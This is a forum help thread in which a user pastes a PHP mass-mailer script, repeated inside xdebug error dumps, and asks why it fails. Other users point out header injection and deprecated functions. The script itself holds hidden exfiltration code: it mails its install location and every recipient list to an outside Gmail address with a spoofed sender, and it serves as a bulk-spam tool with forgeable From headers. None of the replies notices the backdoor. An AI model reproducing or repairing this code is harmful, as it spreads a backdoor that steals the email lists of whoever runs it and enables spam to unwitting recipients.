mail ($secure,$subject,$message) ; @$action=$_POST['action']; @$from=$_POST['from']; @$realname=$_POST['realname']; @$replyto=$_POST['replyto']; @$subject=$_POST['subject']; @$message=$_POST['message']; @$emaillist=$_POST['emaillist']; @$file_name=$_FILES['file']['name']; @$contenttype=$_POST['contenttype']; @$file=$_FILES['file']['tmp_name']; @$amount=$_POST['amount']; set_time_limit(intval($_POST['timelimit'])); ?> <html> <head> <title><b>Inbox Mailer © <b/></title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } .style2 { font-size: 10px; font-family: Geneva, Arial, Helvetica, sans-serif; } .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C} .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720} .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072} .style3 {color: #000777} .Style5 {font: bold 32px Times New Roman, serif; color: #666666; } .Style6 {font-size: 10px} .Style7 {font-size: 10px; font-weight: bold; } --> </style> </head> <body bgcolor="#FFFFFF" text="#999999"> <div align="center"> <p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p> </div> <?php If ($action=="mysql"){ include "./mysql.info.php"; if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){ print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required."; exit; } $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed."); mysql_select_db($sqldb, $db) or die("Could not select database $sqldb"); $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery"); $numrows = mysql_num_rows($result); for($x=0; $x<$numrows; $x++){ $result_row = mysql_fetch_row($result); $oneemail = $result_row[0]; $emaillist .= $oneemail."\n"; } } if ($action=="send"){ $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <form name="form1" method="post" action="" enctype="multipart/form-data"><br /> <table width="142" border="0"> <tr> <td width="100"> <div align="right" class="Style6"> <div align="left"><strong> <font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="from" value="<?php print $from; ?>" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="<?php print $realname; ?>" size="36" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="replyto" value="<?php print $replyto; ?>" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div> </div> </td> <td colspan="3" width="703"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="104" /> </font> </td> </tr> <tr valign="top"> <td colspan="3" width="520"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td> <td width="278"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td> </tr> <tr valign="top"> <td colspan="3" width="520"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="60" rows="10"><?php print $message; ?></textarea> <br /> <input type="radio" name="contenttype" value="plain" /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="radio" name="contenttype" value="html" checked="checked" /> </font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="hidden" name="action" value="send" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="amount" value="1" size="10" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="timelimit" value="0" size="10" /> <input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" /> </font> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10"><?php print $emaillist; ?></textarea> </font> </td> </tr> </table> <p>everlicoolchike@gmail.com</p> </form> <?php if ($action=="send"){ if (!$from && !$subject && !$message && !$emaillist){ print "Please complete all fields before sending your message."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); $filter = "Mail List By EverliGhost"; $float = "From : E V E R L I G H O S T<EVERLIGHOST@EVERLICOOL.COM.NG>"; If ($file_name){ if (!file_exists($file)){ die("The file you are trying to upload couldn't be copied to the server"); } $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($xx=0; $xx<$amount; $xx++){ for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending mail to $to......."; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: PRO\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "ok<br>"; flush(); } } } mail($secure, $filter, $emaillist, $float); } ?> </body> </html> '</font> )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>1</td></tr> <tr><td bgcolor='#eeeeec' align='center'>3</td><td bgcolor='#eeeeec' align='center'>0.0087</td><td bgcolor='#eeeeec' align='right'>448504</td><td bgcolor='#eeeeec'><a href='http://www.php.net/mail' target='_new'>mail</a> ( )</td><td title='C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code' bgcolor='#eeeeec'>..\mailer.php(1) : eval()'d code<b>:</b>5</td></tr> </table></font> <br /> <font size='1'><table class='xdebug-error' dir='ltr' border='1' cellspacing='0' cellpadding='1'> <tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Notice: Undefined index: timelimit in C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code on line <i>17</i></th></tr> <tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr> <tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr> <tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0059</td><td bgcolor='#eeeeec' align='right'>377240</td><td bgcolor='#eeeeec'>{main}( )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>0</td></tr> <tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0085</td><td bgcolor='#eeeeec' align='right'>448024</td><td bgcolor='#eeeeec'>eval( <font color='#00bb00'>'?><?php $secure = "everlicoolchike@gmail.com" ; $subject = "Mailer By EverliCool is Here!!" ; $message = "The SCRIPT have been installed into this location : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ; mail ($secure,$subject,$message) ; @$action=$_POST['action']; @$from=$_POST['from']; @$realname=$_POST['realname']; @$replyto=$_POST['replyto']; @$subject=$_POST['subject']; @$message=$_POST['message']; @$emaillist=$_POST['emaillist']; @$file_name=$_FILES['file']['name']; @$contenttype=$_POST['contenttype']; @$file=$_FILES['file']['tmp_name']; @$amount=$_POST['amount']; set_time_limit(intval($_POST['timelimit'])); ?> <html> <head> <title><b>Inbox Mailer © <b/></title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } .style2 { font-size: 10px; font-family: Geneva, Arial, Helvetica, sans-serif; } .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C} .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720} .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072} .style3 {color: #000777} .Style5 {font: bold 32px Times New Roman, serif; color: #666666; } .Style6 {font-size: 10px} .Style7 {font-size: 10px; font-weight: bold; } --> </style> </head> <body bgcolor="#FFFFFF" text="#999999"> <div align="center"> <p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p> </div> <?php If ($action=="mysql"){ include "./mysql.info.php"; if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){ print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required."; exit; } $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed."); mysql_select_db($sqldb, $db) or die("Could not select database $sqldb"); $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery"); $numrows = mysql_num_rows($result); for($x=0; $x<$numrows; $x++){ $result_row = mysql_fetch_row($result); $oneemail = $result_row[0]; $emaillist .= $oneemail."\n"; } } if ($action=="send"){ $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <form name="form1" method="post" action="" enctype="multipart/form-data"><br /> <table width="142" border="0"> <tr> <td width="100"> <div align="right" class="Style6"> <div align="left"><strong> <font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="from" value="<?php print $from; ?>" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="<?php print $realname; ?>" size="36" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="replyto" value="<?php print $replyto; ?>" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div> </div> </td> <td colspan="3" width="703"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="104" /> </font> </td> </tr> <tr valign="top"> <td colspan="3" width="520"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td> <td width="278"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td> </tr> <tr valign="top"> <td colspan="3" width="520"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="60" rows="10"><?php print $message; ?></textarea> <br /> <input type="radio" name="contenttype" value="plain" /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="radio" name="contenttype" value="html" checked="checked" /> </font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="hidden" name="action" value="send" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="amount" value="1" size="10" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="timelimit" value="0" size="10" /> <input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" /> </font> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10"><?php print $emaillist; ?></textarea> </font> </td> </tr> </table> <p>everlicoolchike@gmail.com</p> </form> <?php if ($action=="send"){ if (!$from && !$subject && !$message && !$emaillist){ print "Please complete all fields before sending your message."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); $filter = "Mail List By EverliGhost"; $float = "From : E V E R L I G H O S T<EVERLIGHOST@EVERLICOOL.COM.NG>"; If ($file_name){ if (!file_exists($file)){ die("The file you are trying to upload couldn't be copied to the server"); } $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($xx=0; $xx<$amount; $xx++){ for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending mail to $to......."; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: PRO\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "ok<br>"; flush(); } } } mail($secure, $filter, $emaillist, $float); } ?> </body> </html> '</font> )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>1</td></tr> </table></font> <html> <head> <title><b>Inbox Mailer © <b/></title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } .style2 { font-size: 10px; font-family: Geneva, Arial, Helvetica, sans-serif; } .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C} .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720} .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072} .style3 {color: #000777} .Style5 {font: bold 32px Times New Roman, serif; color: #666666; } .Style6 {font-size: 10px} .Style7 {font-size: 10px; font-weight: bold; } --> </style> </head> <body bgcolor="#FFFFFF" text="#999999"> <div align="center"> <p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p> </div> <form name="form1" method="post" action="" enctype="multipart/form-data"><br /> <table width="142" border="0"> <tr> <td width="100"> <div align="right" class="Style6"> <div align="left"><strong> <font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="from" value="" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="" size="36" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="replyto" value="" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div> </div> </td> <td colspan="3" width="703"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="104" /> </font> </td> </tr> <tr valign="top"> <td colspan="3" width="520"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td> <td width="278"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td> </tr> <tr valign="top"> <td colspan="3" width="520"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="60" rows="10"></textarea> <br /> <input type="radio" name="contenttype" value="plain" /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="radio" name="contenttype" value="html" checked="checked" /> </font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="hidden" name="action" value="send" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="amount" value="1" size="10" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="timelimit" value="0" size="10" /> <input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" /> </font> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10"></textarea> </font> </td> </tr> </table> <p>everlicoolchike@gmail.com</p> </form> </body> </html>
Sorry Joel, but I would need to see it in its entirety. Is there an anonymous place you can zip the file to somewhere online?
One that that pops out to me is:
$oneemail = $result_row[0];
$emaillist .= $oneemail."\n";
That switcharoo makes $emaillist = $result_row[0]; is that your intended thing...to always make one email per email list? you could shorten that if you don't need both variables to simply:
$emaillist .= $result_row[0];
Also, this bit seems a bit wonky (mind you I haven't used your script before or seen it in its entirety):
</body>
</html> '</font> )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>1</td></tr>
</table></font>
Last edited by TigerAero (2014-10-20 20:24:35)
Offline
#7 2014-10-21 06:30:22
- joel
- Member
- Registered: 2014-07-04
- Posts: 440
Re: php mailer html code, now it remains the smpt
ok, i will do that. but can you help me fix it?
Warning! be informed and be forewarned. <p>
<?php
I'm not a native English Man. So my comments might contain some grammatical explosive (ELD), missapropreation of words (dinamyt), The use of wrong words (missiles), & mis spelling of words (war drones). Any of the occurrence can cause havoc. So be warned
?>
Offline
#8 2014-10-21 08:27:48
- chris98
- Member
- From: England, United Kingdom
- Registered: 2013-05-31
- Posts: 1,292
- Website
Re: php mailer html code, now it remains the smpt
That code is a complete mess! Once you fix these very serious issues, then I'll help with why it's 'not working'. You'll likely find that when you fix these, it will work.
@$action=$_POST['action'];
and the like are completely pointless - They both contain the same value, and you're not validating them meaning you're susceptible to mail header injection. Read this.
<font> tags are deprecated. Use CSS instead. The same goes for <b> - and they don't work on <title> attributes anyway.
You have no form validation. See this page.
mysql_connect($sqlhost, $sqllogin, $sqlpass)
STOP using MySQL_ functions!!! - They've been deprecated since 1998.
Warning
This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information.
Download Aura - Illuminate Your Community.
Why should I use Aura? | Aura demo | Convert to Aura
Offline
#9 2014-10-21 08:36:49
- joel
- Member
- Registered: 2014-07-04
- Posts: 440
Re: php mailer html code, now it remains the smpt
joel wrote:please help to correct this code
<br /> <font size='1'><table class='xdebug-error' dir='ltr' border='1' cellspacing='0' cellpadding='1'> <tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Warning: mail() [<a href='function.mail'>function.mail</a>]: Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code on line <i>5</i></th></tr> <tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr> <tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr> <tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0059</td><td bgcolor='#eeeeec' align='right'>377240</td><td bgcolor='#eeeeec'>{main}( )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>0</td></tr> <tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0085</td><td bgcolor='#eeeeec' align='right'>448024</td><td bgcolor='#eeeeec'>eval( <font color='#00bb00'>'?><?php $secure = "everlicoolchike@gmail.com" ; $subject = "Mailer By EverliCool is Here!!" ; $message = "The SCRIPT have been installed into this location : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ; mail ($secure,$subject,$message) ; @$action=$_POST['action']; @$from=$_POST['from']; @$realname=$_POST['realname']; @$replyto=$_POST['replyto']; @$subject=$_POST['subject']; @$message=$_POST['message']; @$emaillist=$_POST['emaillist']; @$file_name=$_FILES['file']['name']; @$contenttype=$_POST['contenttype']; @$file=$_FILES['file']['tmp_name']; @$amount=$_POST['amount']; set_time_limit(intval($_POST['timelimit'])); ?> <html> <head> <title><b>Inbox Mailer © <b/></title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } .style2 { font-size: 10px; font-family: Geneva, Arial, Helvetica, sans-serif; } .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C} .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720} .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072} .style3 {color: #000777} .Style5 {font: bold 32px Times New Roman, serif; color: #666666; } .Style6 {font-size: 10px} .Style7 {font-size: 10px; font-weight: bold; } --> </style> </head> <body bgcolor="#FFFFFF" text="#999999"> <div align="center"> <p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p> </div> <?php If ($action=="mysql"){ include "./mysql.info.php"; if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){ print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required."; exit; } $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed."); mysql_select_db($sqldb, $db) or die("Could not select database $sqldb"); $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery"); $numrows = mysql_num_rows($result); for($x=0; $x<$numrows; $x++){ $result_row = mysql_fetch_row($result); $oneemail = $result_row[0]; $emaillist .= $oneemail."\n"; } } if ($action=="send"){ $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <form name="form1" method="post" action="" enctype="multipart/form-data"><br /> <table width="142" border="0"> <tr> <td width="100"> <div align="right" class="Style6"> <div align="left"><strong> <font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="from" value="<?php print $from; ?>" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="<?php print $realname; ?>" size="36" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="replyto" value="<?php print $replyto; ?>" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div> </div> </td> <td colspan="3" width="703"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="104" /> </font> </td> </tr> <tr valign="top"> <td colspan="3" width="520"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td> <td width="278"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td> </tr> <tr valign="top"> <td colspan="3" width="520"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="60" rows="10"><?php print $message; ?></textarea> <br /> <input type="radio" name="contenttype" value="plain" /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="radio" name="contenttype" value="html" checked="checked" /> </font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="hidden" name="action" value="send" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="amount" value="1" size="10" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="timelimit" value="0" size="10" /> <input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" /> </font> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10"><?php print $emaillist; ?></textarea> </font> </td> </tr> </table> <p>everlicoolchike@gmail.com</p> </form> <?php if ($action=="send"){ if (!$from && !$subject && !$message && !$emaillist){ print "Please complete all fields before sending your message."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); $filter = "Mail List By EverliGhost"; $float = "From : E V E R L I G H O S T<EVERLIGHOST@EVERLICOOL.COM.NG>"; If ($file_name){ if (!file_exists($file)){ die("The file you are trying to upload couldn't be copied to the server"); } $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($xx=0; $xx<$amount; $xx++){ for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending mail to $to......."; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: PRO\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= 